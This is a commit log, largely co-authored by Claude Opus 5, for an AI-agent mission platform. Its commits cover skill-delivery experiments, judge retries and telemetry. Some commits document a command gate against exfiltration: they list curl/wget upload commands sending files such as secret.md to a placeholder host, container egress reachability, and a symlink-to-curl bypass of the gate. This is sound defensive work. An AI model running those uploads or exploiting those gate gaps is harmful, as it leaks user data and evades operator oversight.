248948cc847b4d229291fa65785d940b02fd36ca
905
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
 Omar SobhandClaude Opus 5
|
248948cc84 |
fix: three things that were known and written nowhere
All three have the same shape — the system learns something and only stderr
hears it — and each was flagged in the handoff as a silent-discard defect.
The gate's install outcome. `container_tool_hooks::install` returned Some or
None and both call sites wrote `let _ =`. A mission whose gate never installed
left a record indistinguishable from one whose gate stood there and matched
nothing. `EnsuredContainer` now carries the outcome to the callers that have a
pool, and they record `gate.installed` (with the settings path) or
`gate.absent` on the mission, so "was this mission gated?" is answerable from
the mission.
The inert marker. `vm_tool_gate` writes an `inert` file when it cannot parse
its input and allows everything, precisely so an inert gate does not look like
a permissive one. The only reader was a unit test. `drain_inert` now reads and
clears it at every tap drain, and a `gate.inert` event with the occurrence count
lands beside the calls that ran unchecked.
The judge's spend. `LlmEvent::Usage` arrived on every judge call and was
matched by `Ok(_) => {}`. Two plan exhaustions (2026-08-29, 2026-09-09) with
no row anywhere saying a judge token had been spent; `usage_events` had no
provider or model column. The loop now accumulates requests and tokens onto the
Verdict — counting a request BEFORE the stream opens, so a 429 the provider
refused still counts, because the retry storm was made of those — and
`record` writes a `kind = 'judge'` row with provider, model, mission and
request count. Migration 0085 adds the columns, all nullable, so the two
existing writers are untouched.
Tests: a scripted-provider verdict records one request and nonzero tokens; a
provider that refuses still records the request and zero tokens.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz
|
||
|
Omar SobhandClaude Opus 5
|
758760cedb |
feat(skill-use): a compliance check for web-search-triage, from what the tap recorded
The scorer could see that agents OPENED web-search-triage (trigger=pass on both files-arm runs) and nothing about whether they followed it — compliance was not_applicable because no mechanical check existed. The evidence was in the recorded arguments the whole time. On the runs that read the skill, the parent decomposed the sweep into per-source fetches and sent each to a subagent; on 01a09b42 two of those spawn prompts read "Return the URL, date if visible, and the key content". The task never asked for a date. The skill's "undated is a finding" did. On the runs that did not read it: inline curls, no subagents, no date. Two of the skill's rules leave a mark in arguments, and the check scores exactly those two. The ranking rule: every URL a fetch was sent to is classified against a short allow-list of primary hosts (rank 0) and a short skip-list of aggregators (rank 3+); fetching an aggregator is the visible violation, fetching primary sources the visible compliance, and anything unrecognised is unranked and decides nothing. The date rule: reported as extra evidence on a pass, never required for one, because a curl to an abstract page has no prompt to ask in. `Agent` is a fetching tool here on purpose. The URLs on the files-arm runs live in the spawn PROMPT; a check that only read curl lines would have scored those runs as fetching nothing. `Verdict::PassWith(String)` carries the evidence and serialises under the same "pass" tag, so no reader grows a fourth branch and the one that looks finds the date fingerprint in `why`. One-sided like every check in this module: no tools is not observable, no fetch is not applicable, an unrankable fetch is not a violation. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz |
||
|
Omar SobhandClaude Opus 5
|
7dd3aa0965 |
feat(skills): files is the default delivery arm
The A/B has its answer. Across four matched production runs — same recipe, same task, same three offered skills — the MCP-door arm retrieved 1 in 9 and the file arm retrieved 3 of 3, with the judge loop closing on the same run (01a098dd). A signal, not a rate; but 0, 1, 0 → 3 on an otherwise identical task is not noise, and the mechanism is explained rather than guessed: the door is a deferred tool the agents never load, and Read is not. A code default and not CLAWMATES_SKILL_DELIVERY on one server, for the reason always_inject moved into the skill files: a setting that exists only in one deployment is a setting nobody can find. The env var still overrides, and `index` and `inline` stay selectable per mission so the comparison remains runnable against one binary. Garbage in the env var still falls to `inline`, not to the default — an unreadable value must not silently select an arm that needs something installed. A test pins the default so the next change to it is a decision made with the numbers in front of you, not a slip. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz |
||
|
Omar SobhandClaude Opus 5
|
00160739de |
feat(skills): a files arm — progressive disclosure through Read, not a deferred tool
The `index` arm retrieves through `ReadMcpResourceTool`, which is DEFERRED:
absent from the agent's default tool list until `ToolSearch` loads it. Across
three matched production runs (same recipe, same task, same three offered
uris) it retrieved 1 skill in 9 chances:
01a07812 delegation forced no instruction 0/3
01a0842e no delegation no instruction 1/3
01a09877 no delegation told to load it 0/3
The third run is the decisive one. The preamble said in plain words to run
ToolSearch first; all three prompts carried it; zero ToolSearch calls, and the
three reasoning narratives never mention skills at all. The section was not
declined, it was never engaged with. Instruction is not the lever.
`Read` is a core tool. Never deferred, and every one of those agents used it.
So this arm keeps progressive disclosure exactly as `index` has it — a name, a
`when_to_use`, and a pointer the agent has to follow — and changes only what
the pointer is: a path under /mission/skills instead of an MCP uri. The bodies
are written into the container at launch (every visible skill, one tar upload;
bindings resolve per agent at turn time so a per-mission subset is not knowable
here) and a `Read` of that path is a tapped tool call, so Trigger is exactly as
observable as before.
A third arm and not a replacement, selected per mission like the others, so
the comparison runs against one binary. `resolve` falls back to `inline` when
the files were not written, for the reason `index` does: a pointer to nothing
reads as an agent ignoring its skills.
The writer and reader of a path are one pair of functions
(`skill_file_path` / `skill_from_file_path`), matched by the scorer through
the same seam `parse_uri` uses, and the end-to-end test fails when the matcher
is broken. `Mode::is_retrieval` exists so the next arm cannot silently inherit
`inline`'s "not observable" for what is a miss.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz
|
||
|
Omar SobhandClaude Opus 5
|
8d6310f126 |
fix(judge): stop asking an exhausted plan the same question 180 times
The retry ran on the sweep's own 10s tick for a 30-minute window, so a phase whose judge was unreachable re-judged up to 180 times. A verdict is not one request either: `evaluator` is agentic and loops up to `MAX_TOOL_CALLS + 1` rounds, resending the whole growing history each time, against evidence the code's own comment sizes at ~120 KB. One unjudgeable phase could therefore issue on the order of 2,000 model requests. That is most of why the z.ai weekly plan kept emptying with no mission having visibly done anything expensive — twice now, 2026-08-29 and 2026-09-09. Nothing recorded it, because `usage_events` carries no provider or model column. Two changes: Read the error before retrying. z.ai answers an exhausted plan with a 429 carrying code 1310 and its own reset timestamp. Retrying that is arithmetic, not optimism: the reset was two days out and the phase spent its whole window asking anyway. It now fails immediately and says which problem this is — "the judge provider's plan limit is exhausted until 2026-09-11 10:01:33" sends you to the plan, where "the independent validator could not be reached" sent you into the mission. The classifier is deliberately conservative; anything that does not positively identify itself as an exhausted plan stays retryable, because giving up on a transport blip costs a phase that did nothing wrong — which is how mission 01a011bf lost its script phase. Back off. Waiting as long as we have already waited doubles total elapsed per attempt, so the schedule is exponential with no attempt counter to store: 10, 20, 40, 80, 160, 300, 300 … — about ten attempts in the same window instead of a hundred and eighty. `judge_retry_after` holds the clock and the sweep's SELECT honours it; a landed verdict clears it alongside `judge_blocked_since`. Verified rather than asserted: the migration applies and rolls back against a real postgres, and replacing the backoff with the old fixed tick makes `the_backoff_is_exponential_and_capped` fail (181 attempts, not ~10). Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz |
||
|
Omar SobhandClaude Opus 5
|
1072964326 |
fix(skills): the door is a deferred tool, so say how to load it
`READ_IT` has always named `ReadMcpResourceTool` in every index entry. That is
not enough, because the tool is DEFERRED — not on the agent's default list, and
uncallable until `ToolSearch` loads its schema. Naming a tool the agent cannot
call reads, from the outside, exactly like an agent ignoring its skills.
Measured on a matched pair in production. Same recipe, same `index` arm, same
three offered uris, one variable:
01a07812 76 tool calls, ToolSearch x4 (web_fetch, RemoteTrigger),
never searched for the door -> 0 skills retrieved
01a0842e ToolSearch(select:ReadMcpResourceTool), then the fetch
-> 1 skill retrieved, trigger=pass
One agent worked the extra step out unprompted; the other did not. A capability
that depends on the model guessing a tool is loadable is not delivered, so the
preamble now says the step out loud.
The reader keeps both spellings. `mode_in_prompt` scores the arm off a RECORDED
prompt and `retain_events_until` holds those for 90 days, so editing the writer
alone would have re-labelled every stored `index` run as `inline` — including
the pair above, whose whole value is that they are comparable. `INDEX_PREAMBLE_V1`
is kept as a reader-only constant and matched alongside the current text.
Verified rather than assumed: the real stored prompt from `01a07812` still
matches V1 as an exact line, the compatibility test fails when the fallback is
removed, and a second test asserts V1 stays a prefix of the current preamble
since `concat!` cannot take a const.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz
|
||
|
Omar SobhandClaude Opus 5
|
42c24de6a9 |
feat(skills): always_inject belongs beside the skill, not in one database
Migration 0083 added the column for a measured failure — under the `index` arm, `workspace-repo-commit-protocol` scored Trigger=FAIL while its boundary check passed, because a rule that applies to everyone who writes reads to each agent as nobody's in particular. The column shipped and was never set: prod ran 0 of 53 skills flagged, and the post-v0.8.5 validation mission made 76 tool calls with ZERO ReadMcpResourceTool among them. Not plumbing — the door answered 200 from inside that container, and the agents used ToolSearch four times to reach for other tools they did not have. Setting it by hand fixes one database. A rebuilt one comes up un-flagged, with nothing in the repo recording that the skill was ever meant to be injected — the same shape as every silent-success defect in this project. So the frontmatter carries it, the loader parses it, and the upsert writes it. The file wins on conflict: builtins are code-managed, and a setting that exists only in one database is a setting nobody can find. Guarded both ways. `always_inject` defaults FALSE, because defaulting true would quietly abolish the index arm rather than fix it; and a test asserts the shipped skill still carries the flag, verified by flipping it to false and watching the test fail. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz |
||
|
Omar SobhandClaude Opus 5
|
bda6bef4db |
fix(evaluator): a cleanup that already succeeded is not an error
`Sandbox::purge` removes the verification copy, and then `Drop` runs
`remove_dir_all` on the path purge just deleted and prints a failure. Prod
logged it on every mission:
evaluator_tools: could not remove the verification copy at
/var/lib/clawmates-missions/_verify/01a07812-… (No such file or directory)
That is the success path reporting itself as a fault. It matters beyond
tidiness: this is the same line that carries a REAL stranded-copy error, and a
message that cries wolf once a mission is a message nobody reads the day it is
true — which is how two root-owned copies sat stranded for hours the first
time.
`NotFound` is now the expected outcome and says nothing. Every other error
still speaks.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz
|
||
|
Omar SobhandClaude Opus 5
|
0b9baa942f |
build(runtime): follow ZeroClaw v0.8.5 onto Rust 1.98
v0.8.5 moved upstream's own container builders to rust:1.98-slim (#9527) and kept 1.96 only as the declared SOURCE floor - what the crates promise, not what upstream actually builds with. We were pinned at 1.96 and had never compiled this code on it; the local check ran on 1.97. Track upstream instead of trusting the floor, staying on the bookworm variant so the binary's glibc still matches the debian:bookworm-slim runtime stage. CARGO_BUILD_JOBS defaults to 6 because the whole fleet is offline and gw-04 is now both the only reachable x86_64 host and the box serving production, so a build must not take every core from the services running beside it. Built and deployed: clawmates-runtime:v085 reports zeroclaw 0.8.5, health 200 with every component ok including the new relay, pairing survived the recreate, and the claude_cli/kimi_cli slots still resolve alongside upstream's grok_cli. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz |
||
|
Omar SobhandClaude Opus 5
|
2a3409ec53 |
docs: the judge is back and the subagent path is no longer a claim
The z.ai quota reset on schedule. glm-5.3 answers on the same key and has since passed a real done_when — phase completed on iteration 0, with the verdict naming the arXiv ids it checked rather than waving the phase through. Mission 01a07498 was the failed validation run plus one change, and it closed the honest negative the last handoff recorded: 87 tool calls, 43 from the main turn and 44 across 4 general-purpose subagents, 4 distinct subagent_ids against 4 Agent spawns. Before this the field was correct in unit tests and had never been watched writing. The one change was the finding. The earlier task invited delegation and got none; naming the tool and forbidding the single-turn shortcut produced four spawns from the same recipe and the same delivery arm. A fan-out path that is merely invited measures nothing. Also records that postgres is clawmates-postgres-1 locally and clawmates_postgres_1 on gw-04 — the wrong one reports "No such container", which reads like a down stack rather than a typo. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz |
||
|
Omar SobhandClaude Opus 5
|
daf8d12157 |
docs: hand off — what shipped, what is verified, and what is blocked
Seven commits this pass, all deployed. The handoff leads with the thing that will otherwise waste the next session's first hour: `glm-5.3` hit a hard z.ai quota on 2026-08-29 (code 1310, resets 09-04), it is the DEFAULT validator on both stacks, and the `ZAI_API_KEY` fingerprints are identical — so every mission declaring a `done_when` fails its evaluation on local and production alike, with its artifacts fully delivered and correct. That failure is not a bug to fix. `evaluator.rs:480` refuses to fall back to the agent's own provider because a same-family verdict would claim an independence it does not have. It is also NOT the malformed-prompt 429 we hit before: this one carries a code and a reset date. Records the validation run honestly rather than as a clean sweep. Three of four things confirmed live — `always_inject` delivering a body beside an index entry in one prompt, retrieval still firing through the door, the corrected gate installed and quiet against 23 body-free Bash calls, attribution 34/34. The fourth did not happen: those agents never delegated, so the subagent field is written and null, and the path that motivated it has still never been watched populating `mission_events`. A task that invites delegation does not force it; the next attempt should instruct it outright. Also carried forward: local test state that production does not share (`workspace-repo-commit-protocol.always_inject = true`, set by hand), the three fork items sitting behind one runtime image rebuild with tank offline, and two silent-discard defects found by sweep and left unfixed — `container_tool_hooks:: install`'s outcome is recorded nowhere, which makes "did this mission run gated?" unanswerable once the container is reaped. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz |
||
|
Omar SobhandClaude Opus 5
|
f26de3ba76 |
feat(world): the agent page can answer what an agent DID, not only what it is doing
The command centre's metric band reads a live feed: tokens in the last minute,
credits in the last hour, active routines, pending approvals. Every one of those
is correctly zero once a mission ends — so an operator opening an agent that ran
`JEPA Research` was shown six zeros, with nothing saying the page had understood
a different question than the one they asked.
The data was never missing. `usage_events` carries a row per turn and
`mission_events` carries every attributed tool call. Verified against production
before any of this was written:
Tomasz 21,697 tokens 22.00 credits 96 tool calls
Seong-min 18,125 19.00 49
Adrian 13,855 14.00 32
Yara 9,686 11.00 11
Wei 7,228 8.00 18
Osei 4,304 5.00 5
The tool counts sum to 211, which is exactly what `mission_events` holds. The
page simply never asked.
`agent.last_run` is a SEPARATE taxonomy event, not a fallback folded into
`telemetry`, and that is the whole design. `agent.task.update` already refuses to
emit for a finished mission so that "idle" stays truthful; quietly substituting
a two-day-old number into a tile the UI promises is live would undo exactly
that. The two travel apart and the card says which it is showing:
SPEND last-run credits, unit becomes `cr total`, tagged LAST RUN
THROUGHPUT last-run tokens, unit becomes `tokens · last run`, and the
sparkline is SUPPRESSED — a flat line drawn from one repeated
number reads as "measured and steady" when nothing was measured
WORKING ON idle stays idle, but names the mission, tool calls, tokens,
NOW status and how long ago, instead of one line of nothing
LOOPS/DOORS left live; zero is the correct answer there
Live always wins. History appears only where the live value is genuinely
nothing, so an agent mid-turn can never see a stale figure.
Two details that would have been silent bugs:
- `stateKey` keys the retained value per AGENT. One shared key would let the
last agent in the roster overwrite every other agent's summary, and a late
subscriber would paint one agent's last run onto all of them — plausible
numbers belonging to someone else.
- `usage_events` carries no mission id, so its rows are attributed by the
mission's time window. `mission_events` needs no such guess, which is why the
tool count is the trustworthy half of the row and the token figure is the
approximate one. Said so in the doc comment rather than implying both are
equally solid.
Refreshed on the seed and then once a minute, not on the 2s poll: historical by
definition, but not seed-only either, or a mission finishing mid-session leaves
the card reading whatever it read before.
Suite: 108 binaries, 842 Rust tests, 92 frontend tests, tsc clean.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz
|
||
|
Omar SobhandClaude Opus 5
|
2f1a870949 |
feat(skills): a skill that must be read cannot be left to be noticed
The `index` arm hands an agent a list of uris and trusts it to fetch what applies. Measured on the first A/B pair, that is mostly what happens — each agent fetched the skill bound to its own role and no other, which is the result that made Trigger observable at all. `workspace-repo-commit-protocol` is the case it fails on. It scored Trigger=FAIL beside a PASSING boundary check: the rule was live and unread. A procedure that applies to everyone who writes reads as nobody's in particular, so no agent recognises it as theirs and no agent fetches it. Upstream ZeroClaw arrived at the same place from the other direction and gave its compact injection mode an `always: true` frontmatter escape hatch (#9520). This is that hatch as a column: `skills.always_inject`, default FALSE, so nothing changes for an existing skill and the inline arm is untouched either way. Two halves, because delivering it and scoring it are different mistakes: - Delivery: under `Index`, an `always_inject` skill renders its BODY. - Scoring: the arm belongs to the PROMPT and `always_inject` belongs to the SKILL, so the scorer now asks per skill which one it got. A skill whose body is in the prompt was handed over, and a Trigger miss cannot be charged against an agent that was never asked to fetch anything. `skill_was_indexed` reads that off the rendered prompt via `READ_IT`, a constant now shared with `index_entry` — two spellings of one marker is how a detector quietly stops detecting. Suite: 108 binaries, 840 tests, green. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz |
||
|
Omar SobhandClaude Opus 5
|
563b074116 |
docs: ZeroClaw upstream, scanned against what we actually run
331 behind, 54 ahead. The previous scan said 218 and its conclusion about the egress commit was wrong, so it is marked superseded rather than edited. Merge cost is smaller than the number suggests: 660 files changed upstream, 52 by us, and **18 overlap**. `claude_cli.rs` — the provider every mission runs through — exists in our tree and in zero upstream files, so it cannot conflict. The find worth recording is not a feature. Upstream defaulted skills to compact injection on 2026-08-05 (#8313), then restored the full default for v0.8.x on 2026-08-13 (#9913). Eight days. That is our `index` arm, tried at larger scale and pulled back out of the stable line — evidence bearing directly on our own open question of whether to flip the default, and with our own data at n=1 per arm it argues for more pairs before flipping, not fewer. Their documentation also states plainly what ours should: "Compact mode reduces prompt size; it is not an isolation boundary for untrusted skill sources." Progressive disclosure is a token optimisation. It is not a security control. Also noted, as a documented limit rather than a surprise: upstream fixed case-insensitive allowlist matching (#9568) and symlink-escape path resolution (#9384) in their command gate. Ours resolves no paths, so a symlink to `curl` defeats it. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz |
||
|
Omar SobhandClaude Opus 5
|
fde1341618 |
docs: what a mission container can reach, and why item 4 could not fix it
Plan item 4 said to pull upstream's `0db7d999a` egress policy as "defence for the egress problem we have not solved". It cannot see the problem. `claude_cli` runs the claude binary as a SUBPROCESS (`Command::new(&self.binary_path).spawn()`), so every mission tool call happens inside that child. `net_guard`'s only call sites upstream are `link_enricher`, `helpers/domain_guard` and `plugins/egress` — ZeroClaw's own Rust HTTP. A mission agent's `curl` never touches the guarded stack. Pulling the commit hardens the CHAT tier; it leaves mission egress exactly as it is. Item 4 is corrected in place rather than deleted, because the reasoning is the useful part. What is actually true, measured on gw-04 with controls in both directions: positive 1.1.1.1:443 REACHABLE negative 192.0.2.1:80 TEST-NET blocked tailnet gw-02 100.84.218.70:22 REACHABLE host SSH docker gw 172.23.0.1:22 REACHABLE 169.254.169.254 REACHABLE postgres REACHABLE, password-required LAN 192.168.1.1 blocked A mission agent reaches the entire tailnet and SSH on its own host. It matters more here than it would elsewhere: these agents run model-generated shell over content fetched from the open web — 151 of 158 production Bash calls were curl/wget — so the instruction stream and the data stream are one stream. The first run of this probe attached only `clawmates_core`, reported "no internet", and was discarded: its positive control failed, so it measured nothing. A mission container is on BOTH networks and that is what must be reproduced. Recorded in full, including the half that is fine — postgres refuses unauthenticated TCP and no database credentials are forwarded into a mission container — because a report that lists only the bad half is not a measurement. Remediation is written down and deliberately NOT applied, on the operator's call. It is DOCKER-USER rules dropping the private world with the core subnet accepted first; never a public host allow-list as the opening move, because `JEPA Research` alone fetched a dozen hosts nobody would have pre-approved and a mission that cannot read cannot do research. Co-Authored-By: Claude Opus 5 <[email protected]> Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz |
||
|
Omar SobhandClaude Opus 5
|
bd7fd46305 |
fix(mission-runtime): a mission with no egress no longer launches
`clawmates_core` is `internal: true`. Verified from a container attached to it
and nothing else: no default route, and every external address unreachable —
the positive control fails, which is what makes the network's own configuration
visible rather than inferred.
So the attach to `clawmates_edge` is not an optimisation. Without it a mission
has no route off the host: no provider call, no fetch, no work. The result was
discarded:
let _ = self.docker.connect_network(EDGE_NETWORK, …).await;
which makes a failure here indistinguishable from success. The mission starts,
the phase runs, every tool call fails for a reason nothing reports, and the
phase can still reach `completed`. Green-with-nothing, again.
Not fatal on the error alone: re-attaching an already-connected container is
also an error, and a benign one on any relaunch path. So the container's own
network list settles it rather than the return code — already attached is
logged and continues, genuinely not attached fails the launch with a message
that says what it means. `inspect` failing counts as NOT attached, because the
whole point is to stop guessing that egress is present.
Behaviour change worth stating plainly: a mission that would previously have
run blind now refuses to start. That is the intended trade — a mission which
cannot reach anything cannot do the work it reports having done.
Suite: 108 binaries, 838 tests, green.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz
|
||
|
Omar SobhandClaude Opus 5
|
fe5c7d2c87 |
fix(tap): a subagent's tool calls are no longer credited to its parent
The previous commit's message ended "mission agents are spawning subagents and
nothing in our design accounts for it." Twelve spawns across the two production
missions, all of them used as a fetch mechanism — container missions have no
`WebFetch` or `WebSearch`, so they reach the network through `Bash` + `curl`,
and 151 of 158 Bash calls are exactly that.
Measured against the real claude 2.1.246 binary rather than reasoned about,
because the containers were reaped and the question had three possible answers:
1. A subagent's tool calls DO fire both hooks. `PostToolUse` records them, and
`PreToolUse` blocked a subagent's denied curl and got the reason back to
it. `Agent` is not a gate bypass — worth knowing before shipping the rule
in the previous commit.
2. They carry the PARENT's session_id. One parent plus one subagent produced
three events on one id. This is why attribution resolved 119/119: a
subagent never adds a session, so attribute_sessions' exact count holds.
3. Only `agent_type` / `agent_id` tell them apart — present on a subagent's
payload, absent on the parent's own.
`hook_script` appends the raw payload, so both fields were already on disk in
every production run. `parse()` read past them. The guest was never the lossy
half, so nothing container-side changes and no redeploy of the image is needed.
`Observed.subagent` / `.subagent_id` now carry them into `mission_events.detail`.
A blank `agent_type` reads as "the turn's own agent", because absence IS the
signal here and a subagent named "" is not a thing.
Same defect class as the tap discarding tool ARGUMENTS until 2026-08-21: the
record looked complete while being wrong about who did the work.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz
|
||
|
Omar SobhandClaude Opus 5
|
5a2ed8fb42 |
fix(gate): the exfiltration rule matched a spelling production never writes
One rule stood between a mission agent and sending the checkout off the
machine, and it was `Match::Command` on `curl -x post` — the segment had to
BEGIN with `curl -X POST`. The tap already held the answer to whether that is
what agents write. It is not:
158 Bash calls from the two production missions
166 curl invocations, every one a GET
84 curl -s 26 curl -s -L --max-time
22 curl -s --max-time 20 curl -sL 7 curl -s -o
Every one begins `curl -s`, and that `-s` pushes the needle off position zero.
Run against the real generated guest script, all of these were ALLOWED:
curl -s -X POST https://… -d @/mission/repo/secret.md
curl -d @report.md https://… curl -F [email protected] https://…
curl -T report.md https://… curl --upload-file report.md https://…
wget --post-file=report.md https://…
Zero denials in production therefore meant nothing. A gate with nothing to deny
and a gate anchored to a spelling its own traffic never uses produce identical
output — the shape this codebase keeps meeting.
`Match::Carries(cmd)` matches a segment that STARTS with the command and
contains the needle anywhere after it, so flag order stops mattering. A rule now
carries several needles, because one action has many spellings and a rule per
spelling is how half of them get missed.
`CarriesExact` exists for the flags whose CASE is their meaning: curl's `-F`
uploads a form and `-f` fails quietly, as in the wholly ordinary `curl -fsSL`.
Lowercasing the command before splitting made those one string, so segments are
now lowercased individually and the exact rules read the original.
`--data-urlencode` is deliberately absent: with `-G` it builds a query string
for a GET, and denying the read idiom to catch a rare POST spelling is the trade
this module refuses to make.
Also closed a divergence between the two implementations of one policy: the
generated shell had no text-tool exemption, so it denied
`echo --dangerously-skip-permissions` while the Rust predicate allowed it.
Evidence, not assertion: all 158 recorded production commands replayed through
the new script deny 0, and the six shapes above deny with the reason reaching
the model.
Co-Authored-By: Claude Opus 5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01WZb5A2kfVfjpdwSochkuHz
|
||
|
Omar SobhandClaude Opus 5
|
7bcf7865f0 |
docs: prod ran a mission, and the whole chain held
`ClawHDF5` and `JEPA Research` were launched from the UI. The first completed,
and everything shipped over the previous two passes engaged correctly on its
first execution anywhere outside the local stack:
skills door installed — api_origin() derived the host from the server's
own container id, which had never run where it was not tested
staffing Topic Research, 3 roles / 4 deliveries, not rust_sdlc's 5 / 14
drain 92 tool calls
attribution 92 of 92, across a phase with TWO passes and six turns — the
case attribute_sessions had never met, and it attributes
nothing at all unless the counts match exactly
boundary all 8 Write/Edit paths under /mission/repo
arm inline, 0 retrievals; prod leaves the env unset
judge pass 0 met=false "zero URLs — grep -c http returns 0"
pass 1 met=true "57 http references"
The judge line is the one worth rereading: the loop converged on the exact
mechanically-checked defect it named, and pass 0 would otherwise have shipped
a report whose every claim was unattributed while reporting `completed`.
Two traps recorded rather than smoothed over:
- The drain selects phases `IN ('completed','failed')`, so a phase on its
second pass shows zero tool calls and reads as broken while being correct.
- I reused a diagnostic query with no `WHERE mission_id`. That was fine while
prod held one mission and silently wrong the moment a second launched — it
compared one mission's tap against two missions' events. The production
drain query is correctly scoped; the diagnostic was not.
Unexplained: one agent called the `Agent` tool 4 times. Mission agents are
spawning subagents and nothing in our design accounts for it.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
accae7fa94 |
docs: the delivery A/B, and the first retrieval nobody asked for
Runs 9 and 10: identical task text, one server process, and a task that never
mentions skills, MCP or retrieval. Run 8 demonstrated the instrument, but its
retrieval was instructed by the task — it showed the pipe worked, not that an
agent would judge relevance.
Under `index`, two of four skills were fetched, and attribution is the part
that matters:
Solveig (lead_researcher) -> web-search-triage
Olamide (report_writer) -> scientific-writing-conventions
Each agent reached for the skill bound to its OWN role and neither reached for
another's. An agent that fetched all four would have shown only that it could.
The regression the A/B existed to catch did not appear: 34% fewer tokens, 59
tool calls against 89, both arms passed the independent judge, and the
deliverables came out slightly larger rather than thinner.
Two readings the data does not support, recorded because the first draft of
this section made one of them:
- Every `tool.call` in a phase carries the DRAIN timestamp, not the call time.
All 59 rows of run 10 read `12:48:12`. Ordering by that column said the
report writer had fetched both skills; `agent_id` says otherwise.
- The prompt saving is 15-43%, not an order of magnitude. Skill bodies are a
minority of a turn prompt. Progressive disclosure is worth doing for Trigger,
not for context economy.
`workspace-repo-commit-protocol` scores Trigger=FAIL beside boundary=pass: it
behaved correctly without reading the rule. That verdict is left standing and
argued with in the text rather than tuned away.
n=1 per arm. A signal, not a rate.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
22eeaa6f15 |
feat(auth): the door that can delegate no longer needs a person's session
`/mcp` — `email_send`, `slack_post`, `delegate` — authenticated with `authenticate`, which accepts only `full`. Nothing hands it a token today, so this cost nothing yet; the moment something did, the only credential that worked would have been an owner's session, held by an agent runtime. `SCOPE_AGENT_DOOR` is that credential's narrow form. `full` still works, so the UI and every human caller are unaffected, and the route now names what it accepts rather than accepting everything by default. The test that matters is not that each scope opens its own route: it is that holding one grants nothing the other has. Both tokens live where an agent can read them. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
f52cff3e04 |
feat(skill-use): progressive disclosure, as an arm and not a switch
Trigger — did the agent reach for the skill when it applied? — cannot be measured while every body is inlined into the prompt. Nothing was reached for. `skill_use` has been reporting `NotObservable` for that reason, and it was right to. The skills door made retrieval possible; this makes it a delivery arm. `index` sends each pinned skill's name, description, `when_to_use` and the uri that returns its body, and the agent fetches what it judges relevant. `inline` is unchanged and stays the default. An A/B rather than a switch, because `index` can only cost Compliance: under `inline` the procedure sits in front of the model whether or not it noticed it applied. Trading a measured axis for an unmeasured regression in another is not an improvement, so both arms stay runnable and the arm is recorded on the mission row. Three things the mechanism refuses to do: - `index` without a door falls back to `inline`. An index names bodies and says how to fetch them; with no `clawmates_skills` server reachable that is a list of dead ends, and it fails as an agent ignoring its skills rather than as a missing config. `install_skills_door` now returns whether it installed, because the caller needs the answer and not just the log line. - The scorer reads the arm off the recorded PROMPT, not off the mission row. The row says what the mission is configured to do now; the score is being computed against a turn that ran then. - Under `index`, a skill that was offered and never read is a Fail, not the inline arm's `NotObservable` — but only where the skill had a checkable consequence in that phase. Reusing the inline text would have said "this skill was inlined into the prompt" about a skill whose body was never sent, and scoring a real miss as a structural blind spot is the failure this measurement already made once. The arm is per mission (`config.skill_delivery`), not only per deployment. Both arms run against one server process; restarting between them would put a confound in the comparison that the numbers would not show. 829 tests, 108 binaries, green. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
b58f0347e6 |
fix(testkit): stop leaking a database per test
`test_pool` creates a database per test and nothing ever dropped it.
Invisible on the testcontainer path — the container dies with the process
and takes them with it. But `CM_TEST_DATABASE_URL` points at a SHARED
server that outlives the run, and that is the path CI uses and the path
`.cargo/config.toml` sets for local development. So on both, every
database ever created is still there, growing with every `cargo test`.
Measured before writing the fix: **3,546 databases, 38 GB** on one
developer machine. After: 391 and 4.3 GB — the remainder being today's,
still inside the window. The docker volume went 42.3 GB to 5.7 GB.
Age comes from the NAME, not the catalogue. Postgres records no creation
time for a database, but the names are `test_<uuid-v7>` and UUIDv7 puts
its millisecond timestamp in the first 48 bits — the same property
`mission_runtime::container_name` already relies on.
Three things the tests pin down:
- a database created just now must read as NEW, or the reaper deletes
one a parallel test binary is still using;
- only names we minted are reapable — `test_scratch` and `clawmates`
survive;
- the window outlasts any test run.
`WITH (FORCE)` because a single leftover session pins a database and the
drop otherwise silently does nothing. Best-effort throughout: a test must
never fail because housekeeping could not run.
